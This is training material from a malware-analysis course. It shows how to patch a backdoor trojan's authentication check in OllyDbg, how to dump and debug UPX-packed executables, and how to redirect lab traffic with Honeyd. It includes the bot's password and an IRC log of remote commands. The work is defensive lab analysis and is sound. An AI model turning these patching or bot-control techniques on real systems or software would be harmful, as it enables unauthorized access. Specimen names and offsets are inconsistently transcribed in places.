Additional Malware Analysis Approaches
FOR610.2 builds upon the fundamentals introduced earlier in the course, and discusses techniques for uncovering additional aspects of the malicious program's functionality. You will learn about packers and the analysis approaches that may help bypass their defenses. You will also learn how to patch malicious executables to change their functionality during the analysis without recompiling them. You will also understand how to redirect network traffic in the lab to better interact with malware, such as bots and worms, to understand their capabilities. You will also experiment with the essential tools and techniques for analyzing web-based malware, such as malicious browser scripts and Flash programs.

The materials in this section were created by Lenny Zeltser, and incorporate feedback and recommendations from FOR610 course participants. To learn about Lenny's background and other projects, please visit his website at http://zeltser.com or connect with him on Twitter at http://twitter.com/lennyzeltser.
The FOR610.2 course module is split in two halves. In the first half, we will cover several topics for performing deeper analysis of malicious executables. In the second half, we’ll focus on malware that exists within the ecosystem of the Web. Our first section will discuss patching malicious executables.
Let's begin with a look at techniques for patching malicious executables.
Modifying Executables via Patching

- Patching refers to modifying the compiled executable
- Edit compiled instructions to change the program's behavior
- Patching is very useful for changing the flow of execution

The term "patching," in this context, refers to modifying the compiled malicious executable to alter its functionality. Since we usually don't have access to the program's source code, it is often convenient to modify its assembly instructions to slightly change its behavior. In particular, we will focus on bypassing the authentication mechanism of backdoor programs such as Tmibtib.
Patching can be Very Useful

- We can patch the program so that it doesn't try to authenticate
- Or patch it so that it accepts any login credential
- The same technique applies to bypassing specimen's defenses

Patching is particularly convenient when there is no time to understand the nuances of the backdoor's authentication mechanisms. Having high level understanding of where authentication takes place is often sufficient to patch the malicious program so that it doesn't try to authenticate the user at all, or so that it accepts any login credential. Such patching techniques work in conjunction with the password interception approaches that we've covered in previous sections of the course.

The same patching technique can be used to modify or disable malware defenses that attempt to detect the presence of the analyst's tools. (This scenario is covered later in the course.)
Patching in OllyDbg

- OllyDbg can assemble instructions
- Highlight the instruction to edit, then press the space bar
- Enter new assembly instruction in the pop-up box and press the Assemble button

There's no need to introduce another tool to our reverse-engineering toolkit, as OllyDbg is great at allowing us to patch compiled executables. Accomplishing this involves loading the malicious executable in OllyDbg, locating and highlighting the assembly instruction that you want to edit, and pressing the space bar. OllyDbg will then pop up a window, asking you to enter the new assembly instruction that will replace the one that was originally in the executable. After entering the new instruction in the pop-up box you will need to press the Assemble button, and your job will be (mostly) done.
Patching Tnnbtib/Slackbot

- The jump at offset 4020C3 taken if the supplied password doesn't match the real password

```plaintext
.text:004020B5  push  eax
.text:004020B6  push  [ebp+var_4]
.text:004020B9  call  strcmp
.text:004020B8  add  esp, 8
.text:004020C1  or   eax,  eax
.text:004020C3  jmp  short loc_40210D
.text:004020C5  push  offset aPassAccepted ;"pass accepted"
```

Let's see how patching in OllyDbg works by modifying the tnnbtib.exe executable to bypass its authentication mechanism. In the previous sections we broke into this program's backdoor by determining the password that was embedded into the executable. This time, we will modify the tnnbtib.exe file so that the trojan accepts any password we supply through the IRC channel.

The code fragment presented on this slide should be pretty familiar to you by now. The `strcmp` call at offset 4020B9 is the one that compares the user-supplied password to the real password. However, the results of the comparison are ultimately enforced by the `jnz` instruction at offset 4020C3. The jump is taken only if the supplied password doesn't match the real password. This `jnz` instruction will be the focus of our patching efforts for the next few slides.
Patching Tnnbtib (1)

- Bypass authentication mechanism
- Replace the "jnz" instruction with "nop" so the jump cannot occur
- The "nop" instruction does nothing
- For our example, re-infect the system with the unpacked version of tnnbtib.exe ("upx -d tnnbtib.exe")

We will bypass Tnnbtib's authentication mechanism by replacing the "jnz" instruction at offset 4070C3 with the "nop" instruction. The "nop" assembly instruction is slightly unusual in that its purpose is to do nothing. This instruction has various uses, and in our case we will use it to ensure that the program never gets the chance to take that authentication-related jump. As a result, any password we supply through the IRC channel will log us in, giving us the ability to execute privileged command.

To try this out, re-infect the system with the unpacked version of tnnbtib.exe. Remember, that to do this, you will need to terminate any existing tnnbtib.exe processes. Then unpack tnnbtib.exe using "upx -d tnnbtib.exe". Then double-click on the unpacked file to infect the system with it. This will copy the unpacked version of tnnbtib.exe into the C:\WINDOWS directory. Finally, terminate the tnnbtib.exe process.
Patching Tnnbtib (2)

- Load the *unpacked* version of C:\WINDOWS\tnnbtib.exe in OllyDbg
- Locate the jump instruction at 4020C3 and press the spacebar
- Enter "nop" in the pop-up box and press the Assemble button

Remember, that for this example we're using the unpacked version of tnnbtib.exe. The same technique will work with the packed version, except that you will first need to allow the program to run and unpack into memory. You would then locate the desired instruction as you did in the previous section, and use the same technique to patch it in OllyDbg. Another difference is that, as you will see in a few slides, saving the patched program to disk is easy if it's already unpacked. If patching a packed program, saving the patched image to disk will not be very practical.

Here's how we can actually modify the unpacked version of tnnbtib.exe to accomplish the goals I've just described. First, load tnnbtib.exe into OllyDbg. Then, locate the instruction that you want to overwrite—in this case, that's the jump located at offset 4020C3. You can scroll down, visually locate this instruction, highlight it and press the spacebar key. Enter "nop" in the pop-up box, and press the Assemble button. You can see what this actually looks like on the following slide.
In the screenshot on this slide OllyDbg is giving me the opportunity to enter an arbitrary assembly instruction in its pop-up window. OllyDbg will assemble this instruction, translating it into the appropriate hexadecimal values, and will insert it into Tnnbtib's code in place of the "jnz" instruction.

After you click the Assemble button, the Assemble dialog window will remain on your screen. You'll need to click the Cancel button to get rid of it, but don't worry—the changes you made won't actually be cancelled.
Manipulating the "jnz" Instruction

- We overwrote this instruction:
  "jnz short 0040210D"
- OllyDbg automatically padded with the extra "NOP"
- Hex code for the x86 "NOP" instruction is 90

Some assembly instructions occupy more space than others. Fortunately, OllyDbg is able to pad the instruction that you add with other "NOP" instructions, so that the new instruction fits precisely into the space occupied by the instruction being overwritten. To ensure that this is possible, keep the "Fill with NOP's" option in the Assemble window enabled.

Although the new instruction can be shorter than the old one, you cannot insert an instruction that occupies more space than the old instruction occupied—that would have the potential of significantly altering the structure of the executable. OllyDbg cannot handle this situation.

The hexadecimal code that represents the x86 "NOP" instruction is 90, as you can see on the following slide. This is a useful fact to remember, as the "NOP" instruction, represented by the hexadecimal value 90, is common to many buffer overflow exploits. We will see it again a little later in the course.
The screenshot on this slide shows the Tmbtib code section that we just modified. OllyDbg replaced the "jmp" instruction on offset 004805C9 with a "NOP", and padded the new instruction with an extra "NOP" to preserve proper instruction alignment.

OllyDbg provides a convenient mechanism for tracking the patches you've made to the debugged program. To see it, bring up the Patches window, press the "/" button on OllyDbg's toolbar, press Ctrl+P, or go to the View > Patches menu. If you'd like to undo the patch, go to the Patches window, right-click on the desired patch, and select "Restore original code".
Any Password Will Now Work

21:15 + remux [remux@127.0.0.1] has joined #malware
21:15 [users #malware]
21:15 [ newip] [ remux]
21:15 + Irreal: #malware: Total of 2 nicks [0 ops, 0 halfops, 0 voices, 2 normal]
21:15 + Channel #malware created Tue Dec 1 21:15:20 2009
21:15 + Irreal: Join to #malware was accepted in 0 secs
21:15 < remux> !login wrongpass
21:15 < oeufp> pass accepted
21:15 < remux> !run notepad.exe
21:15 < oeufp> file executed

[21:16] [remux(+)][2@localnet/#malware(+nt)]
[Malware] !run notepad.exe]

Now that there is no "jmp" instruction to reject an incorrect password, the trojan will accept any password we supply on the IRC channel. As you can see in the screenshot on this slide, I was able to login and execute a privileged command, even though I supplied an incorrect password.
Saving Patched Program to Disk

- OllyDbg patched the executable in memory
- To save the new executable to disk:
  - Right-click in the disassembler pane
  - Select “Copy to executable”
  - Select “All modifications”

The patch that we just implemented exists in memory of the running Tmbtib process. If that process restarts, the effect of our patch will be gone. If you wish to make your changes permanent, you can easily save the newly patched executable to disk from within OllyDbg. To do so, right-click on the disassembler pane after making the necessary changes to the code. Then, select the “Copy to executable” menu option, and then select “All modifications”.
Saving Patched Program

- Click the "Copy all" button in the pop-up box
- A new disassembler pane will appear
- Right-click there and select "Save file", then enter the new file name

After you perform the steps that I outlined on the previous slide, OllyDbg will pop-up the window that you see on this slide. You should click the "Copy all" button. A new disassembler pane will appear. Right-click there and select "Save file". When you do that, OllyDbg will prompt you for the name of the new file, and will save the newly modified executable from memory to disk.

This may sound complicated, since there's a lot of clicking involved, but the actions are pretty straightforward. Give this a try, when you get a chance, and you'll see that it all works out nicely.
Comparing Tnnbibi Files

Use the native Windows \texttt{fc} utility to compare original and patched files

C:\Doc...\Administrator\Desktop>fc tnnbibi-patched.exe tnnbibi-new.exe
Comparing files tnnbibi-patched.exe and tnnbibi.exe
000014C3:  
000014C4:  

\begin{tabular}{ccc}
\text{Absolute offset} & \text{New and old instruction} & \text{hex codes} \\
\hline
90 75 & \\
90 48 & \\
\end{tabular}

After saving the patched executable to disk, you can compare it to the original executable using the \texttt{fc} command that's built into Windows. The name of the \texttt{fc} command stands for "file compare," and even though its focus is on comparing text files, we can also use it to see the effects of our patching actions.

The first column in the \texttt{fc} output when it compares binary files, specifies the offset where the changed bytes are located. The second column in this example, represents bytes in the new file, which I named tnnbibi-patched.exe. You can see hexadecimal values 90, which represent the "NOP" instructions that I inserted into the executable. The third column displays the hexadecimal values of the instructions that were replaced, in this case the sequence 75 48 represents the original "\texttt{jnz short 0040210D}" instruction that I overwrote.
What We've Learned so Far

- Patching malicious executables using OllyDbg
- Modifying program workflow mainly to bypass authentication
- Saving patched program to disk

We've focused on patching malicious executables using OllyDbg. Our goal was to modify the program's workflow so that we could bypass its backdoor authentication mechanism. Of course, you can use similar techniques to modify other aspects of the malware specimen's behavior. When patching the executable using OllyDbg, you have the option of modifying instructions solely in memory, or saving the patched program to disk.
The next topic we’ll cover discusses the key approaches to dealing with packed malicious executables.
Analyzing Packed Executables

Let's take a look at some of the ways of dealing with packed executables. You have already encountered a packed executable in the previous section, when I showed you a copy of Tnabtib that was packed using UPX. In that case, we were able to cleanly unpack the executable, and proceeded to analyze the original executable. In some cases, your job won't be as easy.
Packed Malicious Executables

- Packers compress and/or encrypt the executable
- Malware authors often protect executables with packers
  - More difficult to analyze
  - Smaller size
- Unpacked in memory upon run-time

Packers such as UPX compress and/or encrypt the original executable, to make it more difficult for someone to reverse-engineer the original program's functionality and to make the program occupy less space on disk. These are the most common reasons why many of the malware specimens you will encounter in the field will be packed.

Executables protected by packers are encrypted, compressed, or otherwise encoded when they exist in the form of a file, and are automatically unpacked into memory when the victim launches the protected executable. Because the clear-text version of the executable never resides on disk, it is difficult to examine the original program's functionality for reverse-engineering purposes.
In the diagram on this slide shows the original program, residing on its author's file system on the left. The author uses a packer to compress and sometimes encrypt the original program, storing it as data within the body of a new executable. The only clear text segment that you could, potentially, examine in a disassembler is the unpacking code. When the packed executable runs on the victim's system, the OS executes the unpacking code, which extracts the original program into RAM and executes the unpacked program from memory.
Lots of Packing Choices

- We already encountered UPX
  - Natively reversible if generic
  - Can be scrambled to complicate reversal
- Numerous other packers exist:
  - ASPack
  - Petite
  - Neolite
  - Themida

UPX is just one of many packers used to protect malicious executables. If the malware author uses a generic version of UPX to protect the specimen, we can strip away the UPX wrapper using the UPX utility ("upx -d"). In this case, "-d" probably stands for "decompress". Unfortunately for us, there are various programs that allow attackers to scramble UPX-packed programs so that the UPX program loses its ability to unpack them.

In addition to UPX and the associated scrambling tools, there are many other packers that work along similar lines, and do not offer native unpacking capabilities. In this section we will look at several ways of dealing with executables that were protected by such packers.
PEiD

- Available for free
- Identifies known packing algorithms
- Does not actually unpack the files, though plug-ins are available
- Like many tools of its kind, it is limited in its effectiveness

When dealing with packed executables, it is often a challenge to determine the mechanism that was used to compress or encrypt the original program. By searching the web, you can find several programs that attempt to automate this process. PEiD is one of such tools. It is programmed to recognize several packing algorithms, although it does not actually have the ability to reverse the packing process.

Please note that like all tools of this type, PEiD is limited in its effectiveness. If it recognizes the algorithm, then it is probably correct; however, if it does not recognize the algorithm, there's still a chance that the program was packed using the algorithm that PEiD checked for, but did not properly recognize.

Although PEiD does not natively unpack executables, several plug-ins have been written to extend the program's functionality and, at times, to give it some unpacking prowess. You can download some of the plug-ins from this website:
http://www.peid.info

You will find a copy of PEiD in the \Unpacking directory on the DVD you received for this course.
The screenshot on this slide shows PEiD in action. I loaded a copy of tmbib.exe into PEiD. PEiD automatically scanned the file for signatures of known packing algorithms, and identified the packer as UPX.
A Windows executable is typically comprised of several sections, some containing code of the program, some containing the data that the program needs to execute. What these sections are called, and where they start and end is defined in the PE header. Windows looks at the PE header to determine how to load and execute the program. In addition to including section details, the PE header contains information such as the location of the first instruction in the program that Windows should execute (the Entry Point), as well as the listing of external libraries the program relies upon (the Import Address Table).

PEiD can show you this information. To see the listing of the program's sections, select the “>” button to the right of the “EP Section” field. This will bring up the Section Viewer window captured on this slide. Seeing this information will help you understand the nature of the packer that is protecting the specimen.

In case of tumbib.exe, notice that it has three sections, labeled UPX0, UPX1, and UPX2. This is typical for UPX-packed executables. Section UPX1 contains the code that implements the unpacking routine. Section UPX2 is labeled as a data section, and stores the original program. You can determine this by reading other people's documentation about the packer, or by exploring it yourself using a disassembler or a debugger.

The unpacked version of the executable typically has sections with names such as .text, .bss, .data, and .idata.
Dealing with Packed Executables

- Use native reversal if possible
- Dump the executable from memory
- Use automatic unpacking tools
- Debug without unpacking

One of the simplest ways of determining that you are dealing with a packed executable is to look at the strings embedded into it. A packed executable will have very few, if any, decipherable strings. Furthermore, trying to load a packed executable into a disassembler will typically result in an error message—because the original program will be wrapped by the packer, its code will appear as unreadable data when you look at it using a disassembler.

If you encounter a packed executable, first check whether there is a native way of removing the packer’s protection. This advice is mostly applicable to UPX-packed malware specimens, which are actually quite common in the field. You can usually tell that a file was packed by UPX because there’s a UPX-identifying string embedded into the executable. This is exactly what we did in the previous section when unpacking tumtib.exe.

If native unpacking doesn’t work, we can attempt to dump the executable from memory after the decompression routine unpacks the original program’s code into RAM. This is what we will do in the next few slides. Other ways of dealing with packed executables, as you will see later in this session, involve the use of automatic unpacking tools that recognize particular packing protocols, or may take advantage of a debugger such as OllyDbg.
Cannot Rely on Native Unpacking

- Tnnttib unpacked with “upx -d”
- Possible to have headers scrambled so UPX will refuse to unpack
- How would we approach Tnnttib analysis if UPX refused to unpack?
- LordPE to the rescue!

You may recall that the Tnnttib specimen, which we examined in the previous section, was packed with generic UPX. We easily used the UPX native unpacking routine to obtain the original executable via the “upx -d” command. What if tnttib.exe was scrambled and UPX would fail to unpack it? One way to deal with this situation would involve using a process dumper such as LordPE.
Process Dumping with LordPE

- Process dumper and PE editor
- Run packed executable and let it unpack itself to memory
- Point LordPE to malicious process and choose "dump full"
- LordPE will save the dump to disk

Acting as a process dumper LordPE allows you to dump the image of a locally running process from memory into a file stored on disk. LordPE is also a powerful PE editor, allowing you to edit headers of executables that run on Windows. You will find a copy of this program in the \Unpacking directory on the DVD that you received for this course. You can also download it for free from various archives on the Web. LordPE operates similarly to another process dumping program called ProcDump; however, I find LordPE to be more reliable.

Using LordPE to dump a process to disk is often relatively straightforward. First, run the packed program in a laboratory machine, letting it unpack itself to memory. Then, point LordPE to the malicious process by highlighting the process from the list of all processes on the infected system. Then, as you can see on the following slide, right-click on the process and select "dump full". LordPE will prompt you for the file name, and will save the process image to disk.
The screen shot on this slide shows a listing of processes running on the infected system, as seen through LordPE. I highlighted the process that I want to dump from memory—in this case, tmbbib.exe—and right-clicked on it. Even if I were dealing with a version of Tmbbib that I could not natively unpack with UPX, LordPE would produce a file that I would be able to examine using a disassembler.

As a side point, another process dumping tool called PMDump. We are not using it in this course, however it may be a good idea to add PMDump to your toolkit. I've encountered a couple of situations where LordPE failed to dump a process, while PMDump was able to do so. On the other hand, I encountered situations where LordPE worked flawlessly, while PMDump crashed attempting to dump the same process. PMDump is available as a free download from the following site:
http://ntsecurity.nu/toolbox/pmdump/
Using Files Dumped by LordPE

- Dumped file will load into a disassembler
- Assembly code will be visible
- Will not execute because the PE header will be corrupted
- Imports table may need to be rebuilt

Processes that were dumped with LordPE will usually load into a disassembler such as IDA Pro, though not without some warning messages. In most cases, you will be able to examine the assembly code of the original executable. However, don't be surprised if you won't be able to run the dumped program—LordPE does not automatically rebuild the PE header of the dumped image to allow it to run properly, and does not fix the imports table.

In most cases, you will not need to run the dumped program, so the corrupted PE header will not be an issue. You may be able to rebuild the PE header, should the need arise, but we will not have a chance to go over this technique in this course.
A More Precise Way to Unpack

- Catch the program as soon as itunpacks itself to memory
- Can use a debugger to pause execution, then dump the process
  - May dump with LordPE
  - Easier to dump with OllyDump

When dumping a file with LordPE according to the technique I described in the previous few slides, you are never sure about the state of the process that you are saving to disk. To preserve the integrity of the original program, you should catch the process as soon as its image was unpacked into memory.

The primary technique for accomplishing this is to use a debugger, configuring it to pause the execution of the packed program as soon as its unpacking routine unpacks the original program into memory. Having reached the breakpoint when the executable jumps to the freshly unpacked code segment, you can dump it with LordPE, or with an OllyDbg plug-in called OllyDump.

In the following slides we will see how to use OllyDump for dumping packed executables. OllyDump is included on the DVD that you received for this course.

Our example will be based on the UPX-packed Tmbtib specimen, which you are already very familiar with. The same general methodology works for programs protected with many other packers.
Dumping a UPX-Packed Program

- UPX decryptor extracts packed code into memory
- At the end of UPX1 section it jumps to freshly unpacked instruction that would have been executed first if no packing occurred
- Set a breakpoint at this jump

Let's take a look at how a UPX-protected executable runs. The original program is concealed within the body of the executable, and is unpacked into RAM upon runtime. After unpacking the original program into memory, UPX jumps to the first instruction of the unpacked program. This jump, located at the very end of section UPX1 is where you should set the debugger's breakpoint.
The OllyDbg screenshot on this slide shows the last few instructions of the UPX unpacking routine. You can easily locate these instructions in the UPX packed executable by scrolling down in the disassembler after loading tunlib.exe into it. Scroll until you see the long list of "DB 00" instructions. These are the instructions that are in gray color beneath the "JMP" line to which the arrow on the above screenshot is pointing.

The set of instructions CALL, POPAD, and JMP located nearly at the end of the UPX1 segment is typical for UPX-protected programs. You should set the OllyDbg breakpoint on that last JMP instruction, which, in this case, is at offset 4088AF. By the time the program reaches this JMP instruction, the original executable's code is already unpacked into memory; the first instruction of the original code resides at offset 401CB—this is where the JMP is going to lead us.

Finding the end of unpacking code isn't always this easy. We'll cover more complex packers in Day 4 of this course.
Preparing for OllyDump

- F9 to run the unpacking code so it reaches the breakpoint
- Press F8 to perform the jump

When working on dumping the executable, allow it to reach the breakpoint on the JMP instruction that we discussed on the previous slide; to do this, run the unpacking code by pressing F9. Once OllyDbg reaches the breakpoint, hit the F8 key to perform the jump. The program will jump to the first instruction of the original program. Now it is in the perfect state to be dumped to disk.
Dumping with OllyDump (1)

- Select Plugins > OllyDump > Dump debugged process
- OllyDump tries to automatically fix the PE header
- Saves the dump as a file
- You may still need to tweak the PE header manually

Now that the original program was freshly unpacked, you can use the OllyDump plug-in for OllyDbg to dump the program from memory to disk. To do so, go to the Plugins menu in OllyDbg, select OllyDmp, and click on “Dump debugged process.” OllyDump will then present you with the screen that we will discuss on the following slide, allowing you to tweak the PE header of the new program before saving it to disk.
The screenshot on this slide presents the window that OllyDump pops up before allowing you to dump the debugged process to disk. Here, you are given the opportunity to edit PE header parameters that tell the operating system how to execute the program you’re about to create. The Entry Point parameter specifies the relative offset for the instruction in the program that the operating system should execute first.

Note that the original Entry Point was set to 8760—this was the beginning of the unpacking routine that the operating system executed as soon as the packed program was launched. Now that we unpacked the program, executing the unpacking code no longer makes sense. Instead, the new program should begin executing from the first instruction that belonged to the original program. This instruction is located at offset 11CB; this is where we jumped at the end of the unpacking routine.

Although sometimes you may need to manipulate these PE header parameters, OllyDump will often compute the new Entry Point value automatically. In this case, simply accept the default values presented on this screen, and hit the Dump button. OllyDump will then ask you for the location where you wish to save the file.
Fully-Automated Unpacking Tools

- Various tools try to automate unpacking
- Often don't require executing the packed program or understanding
- Often don't require the user to understand unpacking mechanics
- Don't always work

So far we looked at several ways of unpacking protected executables: using native mechanisms, such as "upe -d". process dumping with tools such LordPE, and more surgical dumping using a debugger and a plug-in such as OllyDump. Another approach involves using third-party tools that attempt to automate the unpacking process.

Such automated unpacking tools are often available on cracker forums, and often don't even require the user to execute the packed program. As many point-and-click attempts to automate reasonably complex tasks, these tools often don't work as expected. When they do work, however, they may quickly produce a cleanly unpacked executable without the user having to understand the mechanics of the unpacking process.

Be careful to only execute such tools within an isolated laboratory environment, as you can rarely be assured of their trustworthiness.
Example: AspackDie Auto-Unpacker

1. 

2. 

Here is an example of one tool, called AspackDie, which worked well when I tried to unpack a malicious executable protected using the Aspack utility. The process was as simple as one-two-three. I launched AspackDie, pointed it to the program I wished to unpack, and, after thinking for a few seconds, AspackDie produced the unpacked version of the program.

Note that I had to use a very specific unpacker, even matching the version of the packing utility, to unpack the protected specimen. Sometimes you may not know what packer was used to create the executable you're trying to reverse-engineer. In these cases, you may need to try a number of different auto-unpackers before you either give up or one of them works.

In general, don't rely solely on programs that attempt to automate the unpacking process—more often than not you will be disappointed with their effectiveness.
Debugging Packed Executables

- We might not care about having the dumped file
- Can avoid dumping altogether
- Open packed program in debugger
- Let the program unpack itself
- Examine unpacked code with the debugger

In some cases, you may not really care about having an actual file that represents the original executable before it got packed. In fact, to save time, you may be able to avoid dumping altogether by analyzing the protected program in a debugger. This technique involves allowing the program to run in an isolated system and unpack itself to memory. You can then use a debugger such as OllyDbg to examine the unpacked code directly in memory, instead of analyzing it from a file that is stored on disk. Let's take a closer look at this technique by revisiting our good friend Tumtib.
OllyDbg and Packed Tnmbtbib

- Let's see how to intercept the password comparison routine when tnnbtib.exe is packed
- Open in OllyDbg the packed version of C:\WINDOWS\tnmbtbib.exe
- Cannot visually locate "strcmp" at offset 4020B9 any more

Let's work with the packed version of tnnbtib.exe, to simulate the situation where we were unable to unpack the executable using native means. We will use OllyDbg to interact with the packed version of tnnbtib.exe as it runs on the infected system. Our goal in this analysis is to intercept the password comparison routine, so that we'd be able to login to the specimen's backdoor.

Begin by loading the packed version of tnnbtib.exe in OllyDbg. Be sure to load the packed version of tnnbtib.exe that resides in the C:\Windows directory. To load the executable, hit the F3 key in OllyDbg, or go to the File > Open menu.

Recall that the "strcmp" that's responsible for comparing the user-supplied password to the valid password is located at offset 4020B9. When dealing with an unprotected version of Tnmbtbib in the previous section, we simply scrolled down to visually locate this instruction and set a breakpoint there. The general idea remains the same, but locating that instruction will be tricky, because the "strcmp" is within the segment that has been packed with UPX.
Preparing to Set the Breakpoint

- Hit F9 to run Tnnbtib and let it join the IRC channel
- Make sure you can communicate with it via the "!@id" command
- Hit Alt+M in OllyDbg to bring up the memory map

Once OllyDbg loads Tnnbtib, hit the F9 key to run the malicious executable, letting it join the IRC channel in your lab. Now's a good time to make sure that OllyDbg is not interfering with the specimen's execution. The best way to do this is to make sure that you can communicate with Tnnbtib by using your IRC client to access the "malware" channel, issuing the "!@id" command, and ensuring that you get a reply. Then, hit Alt+M in OllyDbg to bring up the memory map.
OllyDbg Memory Map

- Section UPX0 has the address range where our "strcmp" is located (4020B9)
- Select UPX0 and right-click "Dump in CPU"

The screenshot on this slide shows the memory map window that you should see after pressing Alt+M in OllyDbg. This memory map will help you locate the section where our coveted "strcmp" instruction resides. Take a look at the section labeled UPX0 that belongs to the TNNB11B process. The section begins at the address 401000 and ends at the address 407000, because its size is 6,000. The instruction we're looking for, which is at offset 4020B9 falls within this range.

Now that you've located the desired section (UPX0, in this case), select it, right-click to get the menu, and choose the "Dump in CPU" option. This should take you to the memory section that contains the UPX0 segment. The reason you are selecting this particular section is because it has the address range where our "strcmp" instruction is located.

When debugging a packed executable, you may already know the address of the instructions you'd like to examine after performing static analysis of the dumped executable that you could disassemble, but couldn't execute. In other situations, you may start debugging an unfamiliar packed executable—in this case, you would use a memory map to examine every section of the executable after it runs and unpacks itself into memory to locate readable assembly instructions that are worth examining.
Disassembling the Dump Pane

- Right-click on the Dump region in lower left corner
- Select “Disassemble”

If you examine the regions in OllyDbg’s CPU window, you will notice that the section containing offset 4020B0 is in the lower-left corner in the Dump region. Why do the contents of that pane look like gibberish? Because the Tunbtib executable has this section marked as containing data; therefore, the debugger did not try interpreting its contents as assembly instructions.

To ask OllyDbg to interpret this segment’s contents as code, right-click anywhere in that pane and select “Disassemble”.

If your Dump region already shows disassembled instructions, that’s probably because at some point you’ve already configured OllyDbg to automatically disassemble contents of the Dump region. If you wish to turn off such auto-disassembling, you can click on Hex > Hex/ASCII (8 bytes) after right-clicking in the Dump region.
Setting the Breakpoint (1)

- In the Dump pane scroll to offset 4020B9 where the "strcmp" resides
- Select the address, then right-click on it and set breakpoint on memory access
- There will be no visible indication that the memory breakpoint was set
- OllyDbg thinks these instructions are data because that's how UPX presents them

Now that you see the instructions stored in Dump pane's segment, scroll down until you see offset 4020B9. (You can also press Ctrl+G and enter "4020B9" into the dialog box to go to that location.)

This is where our "strcmp" resides. Select this instruction, right-click on it, go to the Breakpoint menu and select "Memory, on access." The screenshot of what this should look like is shown on the next slide. OllyDbg thinks this is a memory breakpoint because UPX presents these instructions as data.
The screenshot on this slide shows how to set a breakpoint on the instruction that compares the passwords. The Dump pane, displayed here, contains disassembled instructions in the vicinity of the desired "strcmp" call. Once you select "Memory, on access," the breakpoint will be set, even though you will have no visual indication that the breakpoint exists there.
Triggering the Breakpoint

- Login to the bot from the IRC channel with a wrong password
- For example, "!login wrongpass"
- OllyDbg will interrupt execution of the bot at the "strcmp" call
- Examine the environment with OllyDbg

Now we will proceed in the same as we handled this matter in the previous section of the course. Once the OllyDbg breakpoint is set, attempt logging into the trojan from the IRC channel. It doesn't matter which password you supply to the "!login" command, since our goal is simply to get the specimen to interpret this command and reach our breakpoint.

As soon as you send the "!login" command, OllyDbg should interrupt execution of the bot at the "strcmp" call. Examine the trojan's runtime environment using OllyDbg, as we discuss on the next slide.
Similarly to the scenario where we debugged the unpacked version of Tmbibl, we can use this breakpoint to find the real backdoor password. As you can see by glancing at the Stack pane in the lower right corner, the password is "karma".
Debugging Packed Tnnbtib

- Allow the executable to unpack itself into memory
- Locate the desired offset range on the memory map
- Disassemble the segment and set memory access breakpoint

Let's go over the technique we've just used to debug a packed executable. We allowed the malware specimen to unpack itself into memory. We then used the debugger to locate the desired offset range on the memory map. We then disassembled the appropriate segment and set the memory access breakpoint.
What We've Learned so Far

- Patching malicious executables
- The mechanics of packed executables
- Brute-force dumping with LordPE
- Surgical dumping with OllyDump
- Debugging packed executables

It's time to review what we've learned so far in this section of the course. We began by learning to patch executables. We then examined the structure of packed executables. Such programs are protected by a small routine that may use encryption, compression, and obfuscation to conceal the original program while it resides on disk. The wrapper routine unpacks the original program into memory, allowing the original program to run, but complicating the reverse-engineer's task.

We covered three primary techniques for dealing with packed executables. The first method advocated dumping the protected program from memory using a tool such as LordPE. The second method was more careful about the timing of the dump, and relied on the OllyDump plug-in for OllyDbg to obtain the clear-text version of the original executable. Finally, we discussed a reverse-engineering approach that allows us to study protected executables using a debugger without actually dumping their image to disk.
Now that we've covered patching and packed executables, let's switch gears by looking at the steps for intercepting IP-based network connections in the analysis lab.
Let's turn our attention to the second core topic of this session: intercepting network connections that use IP addresses instead of hostnames.
Why Attackers Use Hostnames

- Hostnames offer resiliency
- Code Red hard-coded the IP address that belonged to www.whitehouse.gov
- Attempted to flood the Web server
- Defenders moved the server to new IP address

A large number of malware specimens use hostnames, as opposed to IP addresses, to access resources on the network. The primary reason for this is that a hostname offers an element of resiliency to the communication mechanism—even if the server moves to another network and its IP address changes, the hostname will probably remain the same.

For example, hard-coding the IP address into the specimen worked against the author of the Code Red worm, allowing the defenders of www.whitehouse.gov to protect the server against a distributed denial-of-service attack during the outbreak of the worm. The author of Code Red instructed the worm to flood the Web server with network traffic, specifying the target by its IP address. The defenders of www.whitehouse.gov moved the server to another network and changed its IP address, redirecting the flood of packets destined to the server's earlier IP address to a virtual black hole.
Be Prepared to Deal with IPs

- Some specimens use IP addresses
- Notably, worms generate random IP addresses
- How to redirect such connections in the lab to get full details?
- Honeyd to the rescue!

On the other hand, some malware specimens use IP addresses, instead of hostnames, when accessing network resources. For example, I recently came across a trojan that made an HTTP request to a compromised Web server in order to retrieve another malicious executable, specifying the server by its IP address. Moreover, network worms typically propagate by generating random IP addresses when looking for potential targets. Learning how to redirect such IP-based connections will help you deal with such scenarios.

My favorite method of redirecting IP-based network connections in my lab involves using Honeyd, which we will examine in the following slides.
Honeyd is a Lightweight Honeypot

- Can simulate hosts and networks
- Can emulate popular services
- We will use it in the lab to intercept traffic for all possible IP addresses
- INetSim is an alternative to Honeyd (we won't cover it here)

Honeyd is a free tool for implementing honeypots. A honeypot is a system specifically designed to be broken into, usually for the purposes of allowing the defender to learn about the attacker's intentions or to study the attacker's actions. We will not use Honeyd as a honeypot, however. Instead, we will use it to dynamically simulate the presence of hosts and services that don't actually exist in our lab. This ability will come in particularly useful when we wish to intercept traffic that uses IP addresses, instead of hostnames.

In the following slides I will explain how to configure Honeyd to run on REMnux, intercepting connections that target all possible IP addresses. By setting it up in this manner, we will be able to redirect all network connections to one of our systems, regardless of which IP addresses the packets are trying to reach.

You can download the latest version of Honeyd from:
http://www.honeyd.org

An alternative to Honeyd is another honeypot toolkit called INetSim. We won't cover it here, but you may want to experiment with it at some point. It's installed on REMnux. You can also download it from http://www.inetsim.org.
Activating Honeyd

- Configure infected system to use the REMnux box as default gateway
- Launch *farpd* to spoof MAC addresses ("farpd start")
- Launch *honeyd* to emulate hosts and services ("honeyd start")

As the first order of business, you should explicitly configure the Windows virtual machine that you’re infecting to use the REMnux virtual machine as its default gateway. (You should have done this when initially configuring your laboratory environment for the course.) This will help ensure that Honeyd, running on that Linux box, will receive packets originating from the infected system.

Honeyd, along with the necessary configuration and library files, is already installed on REMnux. All that we need to do is to enable it, and make sure it operates as expected. To do this, execute two commands on the REMnux virtual machine.

First, launch the *farpd* component of Honeyd. The *farpd* daemon will handle ARP-level spoofing on the laboratory network:

```
remnux@remnux-$ farpd start
```

Next, launch the *honeyd* component of Honeyd. The *honeyd* daemon will take care of emulating hosts, networks, and services on the laboratory network:

```
remnux@remnux-$ honeyd start
```
